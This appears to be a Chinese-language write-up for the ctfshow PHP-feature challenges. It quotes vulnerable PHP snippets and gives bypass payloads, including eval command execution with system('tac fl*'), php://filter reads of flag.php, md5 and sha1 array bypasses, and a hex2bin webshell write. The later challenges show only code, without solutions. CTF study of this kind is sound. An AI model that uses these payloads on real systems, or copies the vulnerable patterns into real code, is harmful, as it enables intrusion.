ctfshow中php特性上
PHP特性:
89:
if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); } |
命令执行:?c=system(‘tac fl*’);
90:
if(isset($_GET['num'])){ $num = $_GET['num']; if($num==="4476"){ die("no no no!"); } if(intval($num,0)===4476){ echo $flag; }else{ echo intval($num,0); } |
intval:
intval ( mixed $var [, int $base = 10 ] ) : int |
$var
:要转换为整数的变量,可以是字符串、浮点数等。
$base
:可选参数,指定转换所使用的进制,默认值是 10(十进制)
intval ($num,0): 如果 base 是 0,通过检测 var 的格式来决定使用的进制: 如果字符串包括了 “0x” (或 “0X”) 的前缀,使用 16 进制 (hex);否则, 如果字符串以 “0” 开始,使用 8 进制 (octal);否则, 将使用 10 进制 (decimal)。
这个是意思让num!=4476,但是intval($num,0)的意思是:if(intval($num,0)===4476)
语句的作用是判断经过 intval
转换后的 $num
的整数值是否严格等于 4476
,如果是,则执行 if
代码块内的语句;如果不是,则跳过 if
代码块内的语句。
那么就可以进行进制:?num=0x117C
91:
$a=$_GET['cmd']; if(preg_match('/^php$/im', $a)){ if(preg_match('/^php$/i', $a)){ echo 'hacker'; } else{ echo $flag; } } else{ echo 'nonononono'; } |
前面正则是im,但是后面却是i:
i |
?cmd=%0aphp(%0a是换行)
92:
和90一样;
93:
if($num==4476){ die("no no no!"); } if(preg_match("/[a-z]/i", $num)){ die("no no no!"); } if(intval($num,0)==4476){ echo $flag; |
过滤了字母但是就是不能使用16进制,但是可以使用8进制:num=010574;
94:
多过滤了0,就是不能使用8进制,可以使用小数:num=4476.0;
95:
if(isset($_GET['num'])){ $num = $_GET['num']; if($num==4476){ die("no no no!"); } if(preg_match("/[a-z]|\./i", $num)){ die("no no no!!"); } if(!strpos($num, "0")){ die("no no no!!!"); } if(intval($num,0)===4476){ echo $flag; } |
strpos()
是 PHP 中的一个内置函数,用于查找字符串中第一次出现指定子字符串的位置。那么就可以使用:?num=%0a010574(0b,0c)都是可以的;
96:
(1):直接上php伪协议:u=php://filter/convert.base64-encode/resource=flag.php
(2)linux:linux下面表示当前目录是 ./ 所以我们的payload: u=./flag.php
97:
if (isset($_POST['a']) and isset($_POST['b'])) { if ($_POST['a'] != $_POST['b']) if (md5($_POST['a']) === md5($_POST['b'])) echo $flag; else print 'Wrong.' |
这个是md5绕过,在 PHP 中,存在弱类型比较的机制,即使用 ==
进行比较时,PHP 会尝试将不同类型的数据转换为合适的类型再进行比较。当对数组使用 md5()
函数时,md5()
函数无法处理数组,会返回 null
。
直接数组绕过:a[]=1&b[]=2
98:
include("flag.php"); $_GET?$_GET=&$_POST:'flag'; $_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag'; $_GET['flag']=='flag'?$_GET=&$_SERVER:'flag'; highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__); ?> |
首先要看懂三元运算符,其格式为:(expr1) ? (expr2):(expr3)。如果 expr1 为 true,则执行 expr2;否则,执行 expr3。
$_GET?$_GET=&$_POST:'flag'; |
即判断有没有GET的值传,如果有那么GET传参的值=POST传参的值然后:?HTTP_FLAG=flag//POST:HTTP_FLAG=flag
99:
$allow = array(); for ($i=36; $i < 0x36d; $i++) { array_push($allow, rand(1,$i)); } if(isset($_GET['n']) && in_array($_GET['n'], $allow)){ file_put_contents($_GET['n'], $_POST['content']); } |
首先创建一个名为$allow的数组;然后在这个数组里面使用for循环在数组中添加随机数从1一直到877:第一次:1-36,第二次:1-37依次循环;然后可以在当前目录新建一个文件并且在文件中写入任意的东西但是前提是传入n的值再随机数的数组中存在
这里说明一下:in_array函数的小问题:in_array()此函数一般情况下会把 "1.php"
视为数字 1
,2.php同理
然后就猜1,2,3什么的概率大点:然后在:?n=1.php;////POST:content==system('ls');?>然后就是命令执行了
100:
highlight_file(__FILE__); include("ctfshow.php"); //flag in class ctfshow; $ctfshow = new ctfshow(); $v1=$_GET['v1']; $v2=$_GET['v2']; $v3=$_GET['v3']; $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3); if($v0){ if(!preg_match("/\;/", $v2)){ if(preg_match("/\;/", $v3)){ eval("$v2('ctfshow')$v3"); } } } ?> |
这个首先要知道赋值操作大于and;即只要v1=num就行了然后就可以利用eval函数了(RCE)就行了;
v1=1&v2=system(‘ls’)/&v3=/;
101:
$v1=$_GET['v1']; $v2=$_GET['v2']; $v3=$_GET['v3']; $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3); if($v0){ if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){ if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){ eval("$v2('ctfshow')$v3"); } } } |
这关和web100关的区别是禁用了许多符号这就说明我们无法使用注释来像上一关那样输出ctfshow;
这里呢需要使用内置函数反射类给他回显出来:
- ReflectionClass:获取类的相关信息,函数、属性、常量等;
- ReflectionMethod:类的相关方法的获取以及调用;
- ReflectionParameter:获取类的函数或者方法参数的相关信息;
- ReflectionProperty:类的相关属性
然后v1=1&v2=echo new Reflectionclass&v3=;
102:
$v1 = $_POST['v1']; $v2 = $_GET['v2']; $v3 = $_GET['v3']; $v4 = is_numeric($v2) and is_numeric($v3); if($v4){ $s = substr($v2,2); $str = call_user_func($v1,$s); echo $str; file_put_contents($v3,$str); } else{ die('hacker'); } ?> |
substr函数:substr(a,b):返回一部分,从b开始截取 例:$a=123456 substr($a,2); 返回:3456
call_user_func ($callback, parameter):调用函数,第一个参数为被调用的函数,第二个参数为被调用函数所需的参数
file_put_contents (filename, data):把 data 数据写入 filename;
既然往进写文件那就可以写一个php的一句话木马或者是命令执行那一句话木马如何只作为数字并且经过函数又正常执行呢那一定是16进制和hex2bin但是0x在is_numeric里面过不去;所以可以进行:先base64再16进制:
=`tac *`;(base64之后再转16进制)?v2=cc504438395948526859794171594473&v3=php://filter/write=convert.base64-decode/resource=1.php` `post: v1=hex2bin |
if(isset($_POST['v1']) && isset($_GET['v2'])){ $v1 = $_POST['v1']; $v2 = $_GET['v2']; if(sha1($v1)==sha1($v2)){ echo $flag; } |
highlight_file(__FILE__); include('flag.php'); error_reporting(0); $error='你还想要flag嘛?'; $suces='既然你想要那给你吧!'; foreach($_GET as $key => $value){ if($key==='error'){ die("what are you doing?!"); } $$key=$$value; }foreach($_POST as $key => $value){ if($value==='flag'){ die("what are you doing?!"); } $$key=$$value; } if(!($_POST['flag']==$flag)){ die($error); } echo "your are good".$flag."\n"; die($suces); ?> |
if(!($_POST['flag']==$flag)){ die($error); |
if(isset($_POST['v1']) && isset($_GET['v2'])){ $v1 = $_POST['v1']; $v2 = $_GET['v2']; if(sha1($v1)==sha1($v2) && $v1!=$v2){ echo $flag; } |
if(isset($_POST['v1'])){ $v1 = $_POST['v1']; $v3 = $_GET['v3']; parse_str($v1,$v2); if($v2['flag']==md5($v3)){ echo $flag; } |
if($v2['flag']==md5($v3)){ echo $flag; } |
if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) { die('error'); } //只有36d的人才能看到flag if(intval(strrev($_GET['c']))==0x36d){ echo $flag; } |
if(isset($_GET['v1']) && isset($_GET['v2'])){ $v1 = $_GET['v1']; $v2 = $_GET['v2']; if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){ eval("echo new $v1($v2());"); } |
if(isset($_GET['v1']) && isset($_GET['v2'])){ $v1 = $_GET['v1']; $v2 = $_GET['v2']; if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){ die("error v1"); } if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){ die("error v2"); } eval("echo new $v1($v2());"); |
filesystemiterator 遍历文件类(PHP 5 >= 5.3.0, PHP 7, PHP 8) |
<?php |
function filter($file){ if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){ die('hacker!'); }else{ return $file; } } $file=$_GET['file']; if(! is_file($file)){ highlight_file(filter($file)); }else{ echo "hacker!"; } |
function filter($num){ $num=str_replace("0x","1",$num); $num=str_replace("0","1",$num); $num=str_replace(".","1",$num); $num=str_replace("e","1",$num); $num=str_replace("+","1",$num); return $num; } $num=$_GET['num']; if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){ if($num=='36'){ echo $flag; }else{ echo "hacker!!"; } }else{ echo "hacker!!!"; |
<?php |